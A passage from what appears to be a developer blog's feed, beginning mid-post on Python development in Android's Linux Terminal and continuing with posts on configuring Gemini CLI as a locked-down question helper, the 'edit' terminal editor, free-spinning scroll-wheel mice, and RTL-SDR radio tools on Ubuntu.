<h2 id="developing-remotely-on-android-linux-with-vscode" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/python-apps-android-linux/#developing-remotely-on-android-linux-with-vscode">Developing remotely on Android Linux with VSCode</a></h2>
<p>With the tooling in place and network connectivity established, the next logical step was to try and develop remotely on the device. This wasn’t necessary of course, a very simple way to work could be to develop on the desktop, push it up to Github, and pull down in Android Linux Terminal. But that’s a lot of extra steps and for personal app development, a fast feedback loop is important.</p>
<p>To that end, there is a <a href="https://tailscale.com/kb/1265/vscode-extension">VSCode extension for Tailscale</a>. With Tailscale running on the desktop, the extension can connect to the Android Linux instance, and open a VSCode Remote Session. Here I have VSCode connecting remotely, editing, and running files directly on Android’s Linux environment.</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/008.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/008.png" alt="" loading="lazy" style="" /></span><figcaption>VSCode Remote Session to Android Linux Terminal, notice the bottom left status bar, and the terminal</figcaption></figure>
<p>This is where the power of personal development comes in. I can now write Python scripts in a familiar environment, and run them on the Android device. I don’t need permission from anyone, I don’t need to publish it anywhere, I can just write a script and run it.</p>
<h2 id="my-book-rating-prediction-example" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/python-apps-android-linux/#my-book-rating-prediction-example">My book rating prediction example</a></h2>
<p>In the screenshot above, I’m actually training <a href="https://github.com/mendhak/goodreads_book_rating_prediction/blob/master/generate_content_model.ipynb">a simple machine learning model</a> right on the device. This model uses my existing Goodreads data to then predict whether I would like a new book, given some metadata about it.</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/009.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/009.png" alt="" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Model prediction output</figcaption></figure>
<h2 id="developing-tuis-with-textual" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/python-apps-android-linux/#developing-tuis-with-textual">Developing TUIs with Textual</a></h2>
<p>TUIs (Terminal User Interfaces) are interactive user interface applications for the terminal. A popular library for this is <a href="https://textual.textualize.io/">Textual</a>. It’s made for Python, and is pretty simple to use.</p>
<p>Continuing on from my book rating prediction example above, I wrote <a href="https://github.com/mendhak/goodreads_book_rating_prediction/blob/master/textual_goodreads_predictor.py">a simple Textual app</a> that would allow me to enter a Goodreads URL. The app would then grab the book metadata from the page, pass it to the model, and output the prediction.</p>
<figure><span class="lightbox-image" data-src="/assets/images/python-apps-android-linux/010.png"><img src="https://code.mendhak.com/assets/images/python-apps-android-linux/010.png" alt="" loading="lazy" style="width: calc(50% - 0.5em);" /></span><figcaption>Textual app calling the model</figcaption></figure>
<p>Here it is in action:</p>
<p align="center">
<video src="https://code.mendhak.com/assets/images/python-apps-android-linux/screen-20250809-140910.mp4" controls="controls" width="50%"></video>
</p>
<h2 id="my-thoughts" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/python-apps-android-linux/#my-thoughts">My thoughts</a></h2>
<p>The experience isn’t as difficult as I was expecting, it was simple and intuitive. It does feel viable that anyone could develop their own little personal standalone scripts or apps for the Android Linux Terminal, and deploy it directly.</p>
<p>It feels quite refreshing to work this way and not having to live under the constraints and chokehold that the present duopoly of app stores have been imposing on us for years, or running the risk of running afoul of opaque rules that allow no recourse. I can just write something and run it. It can be sloppy, experimental, crude, it can break frequently, and that’s okay.</p>
<p>Because it’s a sandboxed environment, it does have limitations — there are no USB devices visible, it’s a local only network, there is no Android OS/API access — but those limitations are probably what make this viable in the first place. I am not sure how much of this will be opened up, looking at <a href="https://www.youtube.com/watch?v=H2C7GOmbDxw">this video demonstrating a full Debian desktop environment</a>, and <a href="https://www.androidauthority.com/android-16-linux-terminal-doom-3521804/">unpublished enhancements that allow running Doom</a>, it seems like they might want to allow us to develop Android apps in a desktop environment just by plugging in to a dock. This could be interesting in terms of testing and deployment and Android API access. It also reflects a modern demographic trend of people who use phones as their primary device, many who don’t bother with desktops or laptops at all.</p>
<p>There’s still some work that could happen to make personal app development easier, such as being able to launch a script from the home screen, but I can probably live without it for now.</p>
<p>I’m already thinking of other things I could do, involving more helper scripts, <a href="https://github.com/mendhak/textual_spongebob_mocking_text_generator/">a spongebob mocking generator</a>, or even exploring if running a local LLM is feasible… I might need to wait for hardware acceleration to be available to do that though.</p>
Using Gemini CLI as an adhoc commandline question answerer2025-06-30T00:00:00Zhttps://code.mendhak.com/gemini-cli-adhoc-helper/<p>Google’s <a href="https://github.com/google-gemini/gemini-cli/">Gemini CLI</a> is command line, context aware assistant: it looks at your current directory, tools, and tries to make helpful suggestions. Here I go over how I was able to <em>somewhat</em> trim it down to a simple adhoc helper. I just type <code>? "How do I..."</code> and get an answer.</p>
<h2 id="what-gemini-does" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gemini-cli-adhoc-helper/#what-gemini-does">What <code>gemini</code> does</a></h2>
<p>By default, <code>gemini</code> runs in an interactive mode. It starts up a text interface with a little text-input-box, where you can ask questions, it provides answers, and you carry on the chat there.</p>
<p></p>
<h2 id="what-i-want" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gemini-cli-adhoc-helper/#what-i-want">What I want</a></h2>
<p>I’m not so interested in this mode, I would prefer that this tool answer my question and get out of my way. And I’m really keen on using <code>?</code> as the invoker because it’s so short and easy to type.</p>
<pre><code>$ ? "How do I list all files in a directory?"
You can use the `ls` command to list files in a directory!
</code></pre>
<h2 id="gemini-cli-s-non-interactive-mode" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gemini-cli-adhoc-helper/#gemini-cli-s-non-interactive-mode">Gemini CLI’s non interactive mode</a></h2>
<p>To that end, the Gemini CLI takes a positional prompt which is the question being asked. It can be passed in two ways:</p>
<pre><code>gemini "How do I list all files in a directory?"
# or
echo "How do I list all files in a directory?" | gemini -
</code></pre>
<p>This positional prompt is basically the non-interactive mode, which is what I’m interested in.</p>
<p>Unfortunately, out of the box, I found its defaults to be somewhat unsafe. Gemini CLI comes with <a href="https://github.com/google-gemini/gemini-cli/issues/2744">a security risk</a>: it has access to some tools already, and those tools execute even when using the non interactive mode, without asking. A decision probably made to make it more convenient.</p>
<h2 id="how-i-configured-it" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/gemini-cli-adhoc-helper/#how-i-configured-it">How I configured it</a></h2>
<p>Gemini can work off a settings file, located at <code>~/.gemini/settings.json</code>, in which I minimised its core tools:</p>
<pre class="language-json"><code class="language-json">$ cat ~/.gemini/settings.json
<span class="token punctuation">{</span>
<span class="token property">"security"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"auth"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"selectedType"</span><span class="token operator">:</span> <span class="token string">"oauth-personal"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"ui"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"theme"</span><span class="token operator">:</span> <span class="token string">"Dracula"</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"tools"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"autoAccept"</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span>
<span class="token property">"core"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"mcp"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"allowed"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token punctuation">]</span>
<span class="token punctuation">}</span><span class="token punctuation">,</span>
<span class="token property">"telemetry"</span><span class="token operator">:</span> <span class="token punctuation">{</span>
<span class="token property">"enabled"</span><span class="token operator">:</span> <span class="token boolean">false</span><span class="token punctuation">,</span>
<span class="token property">"target"</span><span class="token operator">:</span> <span class="token string">"local"</span><span class="token punctuation">,</span>
<span class="token property">"outfile"</span><span class="token operator">:</span> <span class="token string">"/dev/null"</span>
<span class="token punctuation">}</span>
<span class="token punctuation">}</span>
</code></pre>
<p>Further, it can take a <code>~/.gemini/GEMINI.md</code> file which gives it the context for the questions. I told it to be simple:</p>
<pre class="language-bash"><code class="language-bash">$ <span class="token function">cat</span> ~/.gemini/GEMINI.md
You will act as an assistant that answers questions about how to perform actions <span class="token keyword">in</span> a Linux commandline environment.
When asked a question, generate a sample <span class="token builtin class-name">command</span> that can accomplish what the user is asking for.
If the question is not related to Linux, answer the question <span class="token keyword">in</span> brief.
Important: NEVER offer to run any tools.
</code></pre>
<p>And finally, to be able to use the <code>?</code> command, I added this to my <code>.bashrc</code>:</p>
<pre class="language-bash"><code class="language-bash">? <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span>
gemini <span class="token string">"<span class="token variable">$*</span>"</span>
<span class="token punctuation">}</span></code></pre>
<p>That’s it, the results were just what I wanted:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/gemini-cli-adhoc-helper/002.png">
<img src="https://code.mendhak.com/assets/images/gemini-cli-adhoc-helper/002.png" alt="Question mark alias being used to ask a question" title="" loading="lazy" /></span>
<figcaption>The adhoc helper in action</figcaption>
</figure><p></p>
edit is a terminal text editor that doesn't make me think2025-06-02T00:00:00Zhttps://code.mendhak.com/microsoft-edit-cli-text-editor/<p>My terminal-based text editing almost always occurs in short sessions. I’ll usually want to modify something and get out. To me, it makes no sense to have to step on a learning curve for a text editor. A good tool gets out of your way, which is why I don’t tend to favour <code>vim</code>, and only tolerate <code>nano</code>.</p>
<p>Recently, <a href="https://devblogs.microsoft.com/commandline/edit-is-now-open-source/">edit</a> was open-sourced, and by chance I spotted that it had a <a href="https://github.com/microsoft/edit/releases">Linux build</a>, so I decided to try it out.</p>
<p>It comes in a zstd file, which was new to me, but installing it wasn’t too difficult:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">wget</span> https://github.com/microsoft/edit/releases/download/v1.1.0/edit-1.1.0-x86_64-linux-gnu.tar.zst
<span class="token function">tar</span> <span class="token parameter variable">--zstd</span> <span class="token parameter variable">-xvf</span> edit-1.1.0-x86_64-linux-gnu.tar.zst
<span class="token function">cp</span> edit ~/.local/bin/
<span class="token builtin class-name">exec</span> <span class="token function">bash</span></code></pre>
<p>After that, just <code>edit</code> a file:</p>
<pre class="language-bash"><code class="language-bash">edit myfile.txt</code></pre>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/microsoft-edit-cli-text-editor/001.png">
<img src="https://code.mendhak.com/assets/images/microsoft-edit-cli-text-editor/001.png" alt="edit terminal text editor, with this blog post being written in it" title="" loading="lazy" /></span>
<figcaption>Writing this blog post</figcaption>
</figure><p></p>
<p>Within just a few minutes, I had a pretty good grasp of it, mostly because there wasn’t anything to ‘learn’. It’s like the original gedit or notepad right in the terminal, out of the box.</p>
<p>Another thought that occurred: it’s like someone reimplemented a terminal text editor, while cognizant of the slew of modern rich TUI tools that have emerged such as <a href="https://github.com/Textualize/rich">rich</a>, <a href="https://posting.sh/">posting</a>, and <a href="https://github.com/Textualize/textual">textual</a>.</p>
<p>Using <code>edit</code> immediately felt intuitive and natural (minus some <code>vim</code>/<code>nano</code> shortcuts I had to Ctrl+Z from muscle memory).</p>
<p>The shortcuts are intuitive, because they’re what most GUI text editors and IDEs use. <code>Ctrl+S</code> to save (how did it take this long?), and <code>Ctrl+Q</code> to quit, and <code>Alt+Z</code> to word wrap. I can even <code>Ctrl+Z</code> to undo.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/microsoft-edit-cli-text-editor/002.png">
<img src="https://code.mendhak.com/assets/images/microsoft-edit-cli-text-editor/002.png" alt="The Edit menu in the edit editor" title="" loading="lazy" /></span>
<figcaption>The <code>edit</code> edit menu</figcaption>
</figure><p></p>
<p>The find supports regex!</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/microsoft-edit-cli-text-editor/003.png">
<img src="https://code.mendhak.com/assets/images/microsoft-edit-cli-text-editor/003.png" alt="Using regex in the search feature in edit" title="" loading="lazy" /></span>
<figcaption>Using regex in find!</figcaption>
</figure><p></p>
<p>Clicking somewhere in a document moves the mouse cursor to that position — again, it’s that natural visual way of editing. I <em>believe</em> <code>nano</code> and <code>vim</code> can do this with some configuration settings, but it isn’t a default.</p>
<p>It’s possible to use the mouse as well as usual keyboard shortcuts to highlight text, and copy, paste, cut, delete just as I would elsewhere. Sure, it’s simple, but it’s the simple things.</p>
<p>Overall, they’ve done a pretty decent job of porting the fast click-and-shortcut experience over from UI land.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/microsoft-edit-cli-text-editor/004.png">
<img src="https://code.mendhak.com/assets/images/microsoft-edit-cli-text-editor/004.png" alt="Ability to select a column" title="" loading="lazy" /></span>
<figcaption>There’s even column select</figcaption>
</figure><p></p>
<p>The menus at the top are clickable, and there’s a file picker too.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/microsoft-edit-cli-text-editor/005.png">
<img src="https://code.mendhak.com/assets/images/microsoft-edit-cli-text-editor/005.png" alt="File select dialog showing various files in the directory" title="" loading="lazy" /></span>
<figcaption>File picker</figcaption>
</figure><p></p>
<p>Opening multiple files is possible, and I just use the bottom right menu to switch between them.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/microsoft-edit-cli-text-editor/006.png">
<img src="https://code.mendhak.com/assets/images/microsoft-edit-cli-text-editor/006.png" alt="Switcher dialog showing the current files being edited in this session" title="" loading="lazy" /></span>
<figcaption>Switching between files</figcaption>
</figure><p></p>
<p>While writing this post using <code>edit</code>, it did exactly what I wanted: it got out of my way. I’m now convinced enough to add it to my <code>$PATH</code> and give it a proper shot. Because it’s so approachable with its mouse and keyboard flow support, this could also be a good starting point for people new to the terminal.</p>
There is a dearth of automatic infinite scroll mice2025-05-22T00:00:00Zhttps://code.mendhak.com/automatic-infinite-scroll-mode-mouse/<p>My favourite feature of any mouse that I’ve ever used is the <em>automatic</em> infinite scroll wheel mode. This is a mode where the scroll wheel, in its normal clicky mode, is flicked with enough force, and then continues to spin freely for a while, eventually slowing down and returning to normal mode.</p>
<p>It’s a productivity enhancer that lets me rapidly scroll through long documents. It’s a gaming enhancer that lets me rapidly zoom cameras or fly through weapons. It’s a mental health enhancer that gives me a fidget spinner to play with.</p>
<p>This YouTube video shows the feature in action:</p>
<div class="video" style="">
<iframe src="https://www.youtube.com/embed/z4ujYBJb4qE?start=115" frameborder="0" allowfullscreen=""></iframe>
</div>
<p>The clip is worth watching, as the feature is <em>frequently</em> misunderstood and mischaracterized as the common ‘infinite scroll’ mode that many mice have. That plebian mode requires the barbarian mouse user to press a button to engage it, which puts the scroll wheel into free spin mode; aforementioned regressed caveman then needs to press the button again to disengage it.</p>
<p>That is not the feature I’m interested in. The <em>automatic</em> switching between modes is the prime feature I’m after. The <em>automatic</em> infinite scroll mode is referred to as ‘SmartShift’ by Logitech, and ‘Smart Reel’ by Razer.</p>
<p>In all my searching, there are only two viable options I’ve found that have been worth considering. The <a href="https://www.logitech.com/en-ch/shop/p/mx-master-3s.910-006559">Logitech MX Master 3</a>, and the <a href="https://www.razer.com/gb-en/gaming-mice/razer-basilisk-v3">Razer Basilisk V3</a>.</p>
<p>The Logitech MX Master 3 is very good for work — it’s wireless, has a decent heft, and its movements can feel ponderous. It’s great for productivity and development, though I’m not a fan of the vertical scroll barrel tacked on the side, and that I have to keep their shitty software running for any customizations to be remembered. However its build quality has been very good for me.</p>
<p>For reasons unknown, Logitech have sat on <a href="https://patents.justia.com/patent/20110227828">their infinite scroll patent for almost 20 years</a>, and don’t seem to be doing much with it. I would have thought that Smart Shift would appear in some of their G series gaming mice as an ‘enhanced’ gamer feature, but not even a whiff.</p>
<p>The Razer Basilisk V3 is decent for gaming; it’s lightweight, and its scroll wheel is well designed. The smart reel is my favourite of course, and so is the side-to-side tilting wheel which lets me scroll or click vertically.</p>
<p>What it does have over the MX Master is that its configuration is stored right on the mouse itself, so I don’t have to keep their shitty software running for customizing button mappings or scroll wheel modes. It’s also possible to configure the mouse on Linux using <a href="https://openrazer.github.io/">OpenRazer</a> (for keymaps and enabling smart reel), and <a href="https://polychromatic.app/">Polychromatic</a> (to tone down the gaudy gamer ‘aesthetic’), after which it’s saved to the device.</p>
<p>Sadly, Razer is often associated with poor build quality, and indeed the scroll wheel on my current Basilisk V3 has started to show signs of impending failure a little over 2 years after purchase, which coincidentally is their warranty period.</p>
<p>I will now again contend with the dilemma of a 21st century consumer: hyperfixating on one specific feature over all others, one which isn’t even guaranteed to be present in the next iteration of a product and may not even be a footnote in a product team’s mind somewhere as they themselves hyperfixate on finding ways to mention ‘AI’ in their next release.</p>
My brief attempt at learning about Software Defined Radio on Ubuntu2025-04-13T00:00:00Zhttps://code.mendhak.com/listening-to-radio-on-ubuntu/<p>When my previous office building shut down, I ‘inherited’ a <a href="https://uk.flightaware.com/adsb/piaware/build/">Pi-aware</a> which had been set up many years ago. I was vaguely aware that it made use of something called RTL-SDR, but I didn’t actually understand what that meant. I thought it was just for tracking aircraft, but it turns out the receiver is a general purpose radio receiver and can be used for other things. The SDR simply stands for Software Defined Radio, of which there are many implementations. The RTL in RTL-SDR (a specific implementation) and is probably related to the Realtek chipset that is used in the dongle.</p>
<p>I found this <a href="https://austinsnerdythings.com/2021/09/11/getting-started-with-sdr-software-defined-radio-a-tutorial/">excellent tutorial</a>, but I wanted to try out its equivalents on Ubuntu.</p>
<h2 id="getting-started-installing-the-drivers" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#getting-started-installing-the-drivers">Getting started - installing the drivers</a></h2>
<p>This is the specific model I have: it’s a <a href="https://www.nooelec.com/store/sdr/sdr-receivers/nesdr-mini.html">Nooelec NESDR Mini SDR & DVB-T USB Stick (RTL2832 + R820T) with Antenna</a>. The antenna was easy to understand, the dongle, I believe its purpose is to convert the radio signals into a digital format that can be read by a computer. I didn’t take a photo of it because the setup had become grimey and sticky after years of sitting neglected in the office.</p>
<p>I plugged the antenna to the dongle, and the dongle to the USB port on my Ubuntu PC.</p>
<p>The first thing I had to do was install the drivers for the dongle. That was a simple matter of installing the rtl-sdr package:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> rtl-sdr</code></pre>
<p>To then make it available to non-root users, that is, to be able to let applications use that driver without being root, I had to add a provided udev rules file.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">wget</span> <span class="token parameter variable">-O</span> /etc/udev/rules.d/rtl-sdr.rules https://raw.githubusercontent.com/rtlsdrblog/rtl-sdr-blog/refs/heads/master/rtl-sdr.rules</code></pre>
<p>I also had to blacklist a default driver that Linux loads. The reasons for this were unclear to me, but the <a href="https://www.rtl-sdr.com/rtl-sdr-quick-start-guide/">rtl-sdr instructions</a> indicated it was necessary.</p>
<p>I first checked that this ‘default’ driver, called <code>dvb_usb_rtl28xxu</code>, was actually being loaded when I had plugged the dongle in.</p>
<pre class="language-bash"><code class="language-bash">lsmod <span class="token operator">|</span> <span class="token function">grep</span> dvb_usb_rtl28xxu</code></pre>
<p>That did return a value, so indeed this default driver was being loaded. To blacklist it, I created a blacklist rule:</p>
<pre class="language-bash"><code class="language-bash"><span class="token builtin class-name">echo</span> <span class="token string">"blacklist dvb_usb_rtl28xxu"</span> <span class="token operator">|</span> <span class="token function">sudo</span> <span class="token function">tee</span> /etc/modprobe.d/blacklist-dvb_usb_rtl28xxu.conf</code></pre>
<p>I rebooted, so that the udev rules and the blacklist rules would kick in (and ignore that default DVB driver).</p>
<p>I then ran a test:</p>
<pre class="language-bash"><code class="language-bash">$ rtl_test
Found <span class="token number">1</span> device<span class="token punctuation">(</span>s<span class="token punctuation">)</span>:
<span class="token number">0</span>: Realtek, RTL2838UHIDIR, SN: 00000001
Using device <span class="token number">0</span>: Generic RTL2832U OEM
Found Rafael Micro R820T tuner
Supported gain values <span class="token punctuation">(</span><span class="token number">29</span><span class="token punctuation">)</span>: <span class="token number">0.0</span> <span class="token number">0.9</span> <span class="token number">1.4</span> <span class="token number">2.7</span> <span class="token number">3.7</span> <span class="token number">7.7</span> <span class="token number">8.7</span> <span class="token number">12.5</span> <span class="token number">14.4</span> <span class="token number">15.7</span> <span class="token number">16.6</span> <span class="token number">19.7</span> <span class="token number">20.7</span> <span class="token number">22.9</span> <span class="token number">25.4</span> <span class="token number">28.0</span> <span class="token number">29.7</span> <span class="token number">32.8</span> <span class="token number">33.8</span> <span class="token number">36.4</span> <span class="token number">37.2</span> <span class="token number">38.6</span> <span class="token number">40.2</span> <span class="token number">42.1</span> <span class="token number">43.4</span> <span class="token number">43.9</span> <span class="token number">44.5</span> <span class="token number">48.0</span> <span class="token number">49.6</span>
<span class="token punctuation">[</span>R82XX<span class="token punctuation">]</span> PLL not locked<span class="token operator">!</span>
Sampling at <span class="token number">2048000</span> S/s.
Info: This tool will continuously <span class="token builtin class-name">read</span> from the device, and report <span class="token keyword">if</span>
samples get lost. If you observe no further output, everything is fine.
Reading samples <span class="token keyword">in</span> async mode<span class="token punctuation">..</span>.
Allocating <span class="token number">15</span> zero-copy buffers
<span class="token punctuation">(</span>Ctrl + C to stop<span class="token punctuation">)</span></code></pre>
<p>It found the device, pretty good!</p>
<h2 id="software-to-use-the-device" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#software-to-use-the-device">Software to use the device</a></h2>
<p>With the hardware installed, it was time to actually make use of it. It turns out there’s several different methods and applications that have different purposes and approaches. There is no all-in-one.</p>
<p><strong>GQRX</strong> is a GUI that can be used to listen to radio stations. This would be simplest to try out.</p>
<p><strong>guglielmo</strong>, and <strong>welle.io</strong> are applications that can be used to listen to DAB radio</p>
<p><strong>SDRangel</strong> is a multi purpose application, it can be used to listen to radio, track aircraft, and probably more.</p>
<p><strong>rtl_433</strong> is a CLI tool that can be used to decode signals from devices that operate on 433MHz such as weather stations, doorbells, blinds, thermometers, etc.</p>
<p>Hamfax can be used to receive weather fax signals including <em>weather maps</em>! Very intriguing.</p>
<h2 id="gqrx-listening-to-radio" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#gqrx-listening-to-radio">GQRX - listening to radio</a></h2>
<p>Getting started with GQRX was the simplest:</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> <span class="token function">apt</span> <span class="token function">install</span> gqrx-sdr</code></pre>
<p>After launching it, I had to select the right device. In my case it was this Realtek one.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/listening-to-radio-on-ubuntu/image.png">
<img src="https://code.mendhak.com/assets/images/listening-to-radio-on-ubuntu/image.png" alt="GQRX configuration screen allowing selection of device" title="" loading="lazy" /></span>
<figcaption>GQRX configure i/o devices</figcaption>
</figure><p></p>
<p>After the main application started, I tried tuning in to a few London radio stations. This was done by scrolling or typing the numbers above the graph.</p>
<p>There was a kHz option over to the right, which I left at 0. I set the mode to WFM (stereo) for FM radio. Unfortunately I didn’t really understand the other settings including AGC, Gain, and Squelch.</p>
<p>Here I tried 95.800 for Capital FM. I set the gain to 0.1 and it seemed to produce a ‘decent’ output, but there was still a bit of static. But I was listening to radio!</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/listening-to-radio-on-ubuntu/image-2.png">
<img src="https://code.mendhak.com/assets/images/listening-to-radio-on-ubuntu/image-2.png" alt="GQRX rtl showing 95.8 FM spectrum" title="" loading="lazy" /></span>
<figcaption>Capital FM</figcaption>
</figure><p></p>
<p>I tried 97.3 and it was a bit clearer:</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/listening-to-radio-on-ubuntu/image-3.png">
<img src="https://code.mendhak.com/assets/images/listening-to-radio-on-ubuntu/image-3.png" alt="GQRX rtl showing 97.3 FM spectrum" title="" loading="lazy" /></span>
<figcaption>97.3 FM</figcaption>
</figure><p></p>
<p>Sadly, when I tried ClassicFM, I could ‘see’ there was something in that river of yellow, but it just wouldn’t tune in, there was a lot of static.</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/listening-to-radio-on-ubuntu/image-1.png">
<img src="https://code.mendhak.com/assets/images/listening-to-radio-on-ubuntu/image-1.png" alt="GQRX rtl showing 101.00 FM spectrum" title="" loading="lazy" /></span>
<figcaption>Classic FM</figcaption>
</figure><p></p>
<p>After some searching, I found that ClassicFM was available on DAB, which GQRX didn’t support.</p>
<p>I couldn’t do AM radio stations either, because the dongle I had only went from 25 MHz to 1.7 GHz. AM radio is from 520 kHz to 1.6 MHz.</p>
<p>However, FM worked, so a decent conclusion to this exercise.</p>
<h2 id="dab-radio" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#dab-radio">DAB Radio</a></h2>
<p>For DAB, I found a few other applications that could be used: <a href="https://github.com/marcogrecopriolo/guglielmo">guglielmo</a>, <a href="https://www.welle.io/">welle.io</a>, and <a href="https://www.sdrangel.org/">SDRangel</a>.</p>
<p>Although all of these applications were able to see my device, none of them could actually tune in to a DAB station.</p>
<p>This is where my understanding became unclear, I had thought the RTL-SDR would be able to work with anything, but I’d likely need a more specific dongle that can work with and support DAB. I concluded this because I was able to find other RTL SDR dongles that specifically mentioned DAB support.</p>
<p>A disappointing conclusion to this exercise.</p>
<h2 id="rtl-433-listening-to-smart-devices" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#rtl-433-listening-to-smart-devices">RTL 433 - listening to smart devices</a></h2>
<p>rtl_433 describes itself:</p>
<blockquote>
<p>rtl_433 (despite the name) is a generic data receiver, mainly for the 433.92 MHz, 868 MHz (SRD), 315 MHz, 345 MHz, and 915 MHz ISM bands.</p>
</blockquote>
<p>There’s a package for it in Ubuntu called rtl_433, but that didn’t work for me. Instead, I installed a snap equivalent, and gave it USB access.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> snap <span class="token function">install</span> rtl-433-bjornt
<span class="token function">sudo</span> snap connect rtl-433-bjornt:raw-usb</code></pre>
<p>I then ran it and let it listen for devices.</p>
<pre class="language-bash"><code class="language-bash">
$ rtl-433-bjornt.rtl-433 <span class="token parameter variable">-g</span> <span class="token number">40</span>
rtl_433 version <span class="token number">22.11</span>-27-ge6b1a648 branch master at <span class="token number">202212201952</span> inputs <span class="token function">file</span> rtl_tcp RTL-SDR
Use <span class="token parameter variable">-h</span> <span class="token keyword">for</span> usage <span class="token builtin class-name">help</span> and see https://triq.org/ <span class="token keyword">for</span> documentation.
Trying conf <span class="token function">file</span> at <span class="token string">"rtl_433.conf"</span><span class="token punctuation">..</span>.
Trying conf <span class="token function">file</span> at <span class="token string">"/home/mendhak/snap/rtl-433-bjornt/6/.config/rtl_433/rtl_433.conf"</span><span class="token punctuation">..</span>.
Trying conf <span class="token function">file</span> at <span class="token string">"/usr/local/etc/rtl_433/rtl_433.conf"</span><span class="token punctuation">..</span>.
Trying conf <span class="token function">file</span> at <span class="token string">"/etc/rtl_433/rtl_433.conf"</span><span class="token punctuation">..</span>.
Protocols: Registered <span class="token number">191</span> out of <span class="token number">223</span> device decoding protocols <span class="token punctuation">[</span> <span class="token number">1</span>-4 <span class="token number">8</span> <span class="token number">11</span>-12 <span class="token number">15</span>-17 <span class="token number">19</span>-23 <span class="token number">25</span>-26 <span class="token number">29</span>-36 <span class="token number">38</span>-60 <span class="token number">63</span> <span class="token number">67</span>-71 <span class="token number">73</span>-100 <span class="token number">102</span>-105 <span class="token number">108</span>-116 <span class="token number">119</span> <span class="token number">121</span> <span class="token number">124</span>-128 <span class="token number">130</span>-149 <span class="token number">151</span>-161 <span class="token number">163</span>-168 <span class="token number">170</span>-175 <span class="token number">177</span>-197 <span class="token number">199</span> <span class="token number">201</span>-215 <span class="token number">217</span>-223 <span class="token punctuation">]</span>
SDR: Found <span class="token number">1</span> device<span class="token punctuation">(</span>s<span class="token punctuation">)</span>
SDR: trying device <span class="token number">0</span>: Realtek, RTL2838UHIDIR, SN: 00000001
Found Rafael Micro R820T tuner
SDR: Using device <span class="token number">0</span>: Generic RTL2832U OEM
Exact sample rate is: <span class="token number">250000.000414</span> Hz
<span class="token punctuation">[</span>R82XX<span class="token punctuation">]</span> PLL not locked<span class="token operator">!</span>
SDR: Sample rate <span class="token builtin class-name">set</span> to <span class="token number">250000</span> S/s.
SDR: Tuner gain <span class="token builtin class-name">set</span> to <span class="token number">40.200000</span> dB.
SDR: Tuned to <span class="token number">433</span>.920MHz.
Allocating <span class="token number">15</span> zero-copy buffers
Baseband: low pass filter <span class="token keyword">for</span> <span class="token number">250000</span> Hz at cutoff <span class="token number">25000</span> Hz, <span class="token number">40.0</span> us
</code></pre>
<p>I left it for an hour, and unfortunately, there were no devices near me. Nor do I have any of my own. There was no interesting output.</p>
<p>Mixed conclusions to this exercise - it theoretically worked, but I live in a quiet, low-tech neighbourhood.</p>
<h2 id="ads-b-tracking-aircraft" tabindex="-1"><a class="header-anchor" href="https://code.mendhak.com/listening-to-radio-on-ubuntu/#ads-b-tracking-aircraft">ADS-B - tracking aircraft</a></h2>
<p>Instead of using FlightAware’s PiAware, I found SDRAngel. SDRAngel had several functions when I opened it (including DAB) and they included AIS (ships) and ADS-B (aircraft) tracking.</p>
<p>I installed it via the snap store and gave it USB access.</p>
<pre class="language-bash"><code class="language-bash"><span class="token function">sudo</span> snap <span class="token function">install</span> sdrangel
<span class="token function">sudo</span> snap connect sdrangel:raw-usb</code></pre>
<p>Then I could run it. It was fascinating to watch!</p>
<p></p><figure><span class="lightbox-image" data-src="/assets/images/listening-to-radio-on-ubuntu/image-4.png">
